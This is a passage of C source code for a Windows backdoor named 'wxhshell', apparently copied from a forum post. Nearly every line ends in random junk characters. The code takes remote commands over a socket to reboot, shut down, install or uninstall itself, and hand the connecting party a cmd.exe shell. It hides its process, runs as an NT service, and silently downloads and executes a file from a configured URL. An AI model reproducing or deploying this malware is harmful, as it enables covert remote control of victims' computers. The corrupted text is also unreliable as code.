      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7cV GB  
    break; 1wt(pkNk  
  } nPj &a  
  // 安装 -"/l)1ox,  
  case 'i': { 1 2J#}|  
    if(Install()) !z |a+{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <a)L5<#  
    else 7cly{U"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s#%P9A  
    break; @%4tWE  
    } |$sMzPCxOk  
  // 卸载 /=~o|-n8@  
  case 'r': { qL/XGIxL?  
    if(Uninstall()) o 76QQ+hP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +hz S'z)n&  
    else .Uh|V -  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bb@m-+f  
    break; (cdtUE8  
    } LRKl3"M  
  // 显示 wxhshell 所在路径 Z Ne(sg~G  
  case 'p': { >SaT?k1E  
    char svExeFile[MAX_PATH]; *k<{nj@y  
    strcpy(svExeFile,"\n\r"); |QxT"`rT  
      strcat(svExeFile,ExeFile); XWYLa8Ef  
        send(wsh,svExeFile,strlen(svExeFile),0); [ @`Ki  
    break; Ncsk~=[  
    } f1 TYQ?e  
  // 重启 3FhkK/@  
  case 'b': { {5J: ]{p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P#N@W_""YD  
    if(Boot(REBOOT)) b,o@ m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~-K<gT/  
    else { Nc[[o>/Cb  
    closesocket(wsh); @zAav>  
    ExitThread(0); oV=~ Q#v  
    } )R5=GHmL  
    break; oC >l|?h,  
    } mYw9lM  
  // 关机 Z!SFJ{  
  case 'd': { U7le> d;L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L6IF0`M<,I  
    if(Boot(SHUTDOWN)) wxIWh>pZa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZD t|g^  
    else { E;)7#3gY1  
    closesocket(wsh); Z Vj  
    ExitThread(0); 9w08)2$ Na  
    } ,G%?}TfC)  
    break; e!.r- v9  
    } Df_*W"(v  
  // 获取shell ED=P  6u  
  case 's': { >4x~US[VB  
    CmdShell(wsh); f<}>*xH/k  
    closesocket(wsh); C Ch38qBp  
    ExitThread(0); R@Bnrk  
    break; a?5R ;I B  
  } (Aw!K`0Y1  
  // 退出 YDo Vm?  
  case 'x': { -eSZpzp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z4iZE*ZS  
    CloseIt(wsh); >+ E  
    break; \o2cztl=  
    } ,!'L~{  
  // 离开 {c\KiWN  
  case 'q': { 04wO9L;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2pn8PQfg)  
    closesocket(wsh); -lNT"9  
    WSACleanup(); kjOPsz*0  
    exit(1); 3IHA+Zz  
    break; |JRaskd  
        } fx `oe  
  } \qB:z7I2  
  } OZed+t=  
%jRqrICd  
  // 提示信息 6i.!C5YX]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /+{]?y,  
} @ - _lw  
  } 8 DE%ot  
cJ#|mzup  
  return; |ZBHXv  
} bX*c-r:  
LYvjqNC&4  
// shell模块句柄 whdoG{/  
int CmdShell(SOCKET sock) vh">Z4  
{ f1}am<  
STARTUPINFO si; ;*=MI/"N  
ZeroMemory(&si,sizeof(si)); +K"8Q'&t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +rcDA|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1j":j%9M  
PROCESS_INFORMATION ProcessInfo; N@>o:(08  
char cmdline[]="cmd"; ->29Tns  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ghu8Eg,Y  
  return 0; >L{s[pLJ  
} s`E^1jC  
7B| #*IZe  
// 自身启动模式 U6M3,"?  
int StartFromService(void) oiL^$y/:;z  
{ ZlxJY%o eu  
typedef struct ZN]LJ4|xu  
{ yQ{xRtNO  
  DWORD ExitStatus; ?}D|]i34  
  DWORD PebBaseAddress; JVx ,1lth  
  DWORD AffinityMask; S85}&\m&4  
  DWORD BasePriority; @ 4%a  
  ULONG UniqueProcessId; Zz@0Oj!`  
  ULONG InheritedFromUniqueProcessId; Rz_fNlA  
}   PROCESS_BASIC_INFORMATION; Sy?O(BMo  
R]y[n;aGC  
PROCNTQSIP NtQueryInformationProcess; Kf!8PR$  
+o94w^'^$b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vsU1Lzna6@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]l.qp5eQ  
RO10$1IW.2  
  HANDLE             hProcess; (&y~\t] H  
  PROCESS_BASIC_INFORMATION pbi; !0+!%Nr>J  
f6d:5 X_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zld[uhc>  
  if(NULL == hInst ) return 0; DL:wiQ  
? h*Ngbj>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "\]NOA*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :UrS@W^B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?9)-?tZ^Q  
;jEDGKLq  
  if (!NtQueryInformationProcess) return 0; Q#} 0pq  
ee0)%hc1t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I2R" Y<  
  if(!hProcess) return 0; i{9_C/  
NWt`X!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >%o\Ue  
,iQRf@#W_b  
  CloseHandle(hProcess); +U:U/c5Z^  
+v7mw<6s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $%3"@$  
if(hProcess==NULL) return 0; {"([p L  
{M.OOEcIp  
HMODULE hMod; I!L`W _  
char procName[255]; ^=lh|C\#  
unsigned long cbNeeded; c9c_7g'q-  
mT7B#^H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1JFCYJy  
0E5"}8  
  CloseHandle(hProcess);  )Uk!;b  
k[`9RGT  
if(strstr(procName,"services")) return 1; // 以服务启动 %rmn+L),;  
*&d>Vk."]  
  return 0; // 注册表启动 :&{:$-h!  
} b3Uw"{p  
VJeoO)<j  
// 主模块 ds*N1[ *  
int StartWxhshell(LPSTR lpCmdLine) 1j9R^  
{ |\lsTY&2  
  SOCKET wsl; X &z|im'd  
BOOL val=TRUE; :?*|Dp1  
  int port=0; lD%Fk3  
  struct sockaddr_in door; J*nQ(*e  
[T(XwA)  
  if(wscfg.ws_autoins) Install(); Y M <8>d  
/.{q2]  
port=atoi(lpCmdLine); \%qzTk.&r  
r\+0J`  
if(port<=0) port=wscfg.ws_port; eYN =?  
c,K)*HB  
  WSADATA data; h2b,(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _5nS!CN  
P0B`H7D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $y0[AB|V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _XO3ml\x@  
  door.sin_family = AF_INET; n7J6YtUwP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t+ ,'  
  door.sin_port = htons(port); lhx"<kR 4  
y .O%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ] WsQ=  
closesocket(wsl); #GJ{@C3H8Q  
return 1; \I@hDMqv  
} SWX[|sjdB  
95wi~^^  
  if(listen(wsl,2) == INVALID_SOCKET) { |2$wJ$ I  
closesocket(wsl); 4dEfXrMf  
return 1; wb#ZRmx}  
} %`M IGi#  
  Wxhshell(wsl); 7z_EX8^  
  WSACleanup(); Mx7  
va`/Dp)M  
return 0; M/O Y "eL  
uuD|%-Ng  
} DFk0"+Ky  
m=qEQy6#2u  
// 以NT服务方式启动 B$ Z%_j&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z154lY}K  
{ ^Uj\s /  
DWORD   status = 0; XTibx;yd<  
  DWORD   specificError = 0xfffffff; &}:]uC  
UgVLHwkvk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RjcU0$Hi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I)JqaM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nQtp4  
  serviceStatus.dwWin32ExitCode     = 0; \Nvu[P  
  serviceStatus.dwServiceSpecificExitCode = 0; a_GnN\kX^Z  
  serviceStatus.dwCheckPoint       = 0; eTeZ^G  
  serviceStatus.dwWaitHint       = 0; f"{|c@%  
b%-S'@ew  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S`\03(zDA  
  if (hServiceStatusHandle==0) return; $ouw *|<  
At0ahy+  
status = GetLastError(); Un~8N  
  if (status!=NO_ERROR) P<tHqN !q  
{ MR?5p8S#g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o#^(mGj_.  
    serviceStatus.dwCheckPoint       = 0; v7h!'U[/  
    serviceStatus.dwWaitHint       = 0; {\-9^RL  
    serviceStatus.dwWin32ExitCode     = status; +n)_\@aQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; `hVi!Q]*P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mRNA,*  
    return; MyJ\/`8  
  } P,eP>55'K  
oy _DYop  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  UZV\]Y  
  serviceStatus.dwCheckPoint       = 0; tQ@%3`  
  serviceStatus.dwWaitHint       = 0; gfW_S&&q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^5GyW`a}  
} zUIh^hbFf  
R/O>^s!Co  
// 处理NT服务事件,比如:启动、停止 4ZX6=-u^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UyUz_6J  
{ WXj iKW(  
switch(fdwControl) 'bb *$T0=  
{ !1b4q/  
case SERVICE_CONTROL_STOP: -_KO}_  
  serviceStatus.dwWin32ExitCode = 0; jY+u OH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j1141md 5  
  serviceStatus.dwCheckPoint   = 0; SJJ[y"GvD  
  serviceStatus.dwWaitHint     = 0; y"L7.B  
  { HPus/#j'+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C]bre^q  
  } eJvNUBDSH  
  return;  n$u@v(I  
case SERVICE_CONTROL_PAUSE: Q`B K R]/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mWP1mc:M(  
  break; uE]Z,`e  
case SERVICE_CONTROL_CONTINUE: * q$O6B-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A hCqQ.O71  
  break; >* )fmfY  
case SERVICE_CONTROL_INTERROGATE: fN!lXPgM  
  break; ZYexW=@  
}; .*k$abb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #1z/rUh`Cr  
}  T1\@4x  
yW)&jZb"(  
// 标准应用程序主函数 99YgQ Y]HO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {2v,J]v_[  
{ SmUj8?6"  
!LX)  
// 获取操作系统版本 ,s~d39{  
OsIsNt=GetOsVer(); ^D5+ S`V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tZL {;@  
nc[Kh8N9  
  // 从命令行安装 xo.k:F  
  if(strpbrk(lpCmdLine,"iI")) Install(); iRIO~XVo  
)7jJ3G*  
  // 下载执行文件 xCYK"v6\  
if(wscfg.ws_downexe) { =A]*r9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sd,KB+)  
  WinExec(wscfg.ws_filenam,SW_HIDE); WcOnv'l,  
} +.2O Z3(  
Q ^{XM  
if(!OsIsNt) { 7@NV|Idtd  
// 如果时win9x,隐藏进程并且设置为注册表启动 "2=v:\~=  
HideProc(); #7r13$>!  
StartWxhshell(lpCmdLine); ]5',`~jkF  
} 8fSY@  
else =MjkD)l  
  if(StartFromService()) v1VH&~e  
  // 以服务方式启动 %nV6#pr  
  StartServiceCtrlDispatcher(DispatchTable); }Sr=|j  
else AeR*79x  
  // 普通方式启动 O\+b1+&b3Y  
  StartWxhshell(lpCmdLine); 53<.Knw5a  
p&$O}AX|  
return 0; WdZ_^  
}
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只看该作者 1 发表于: 2006-10-10
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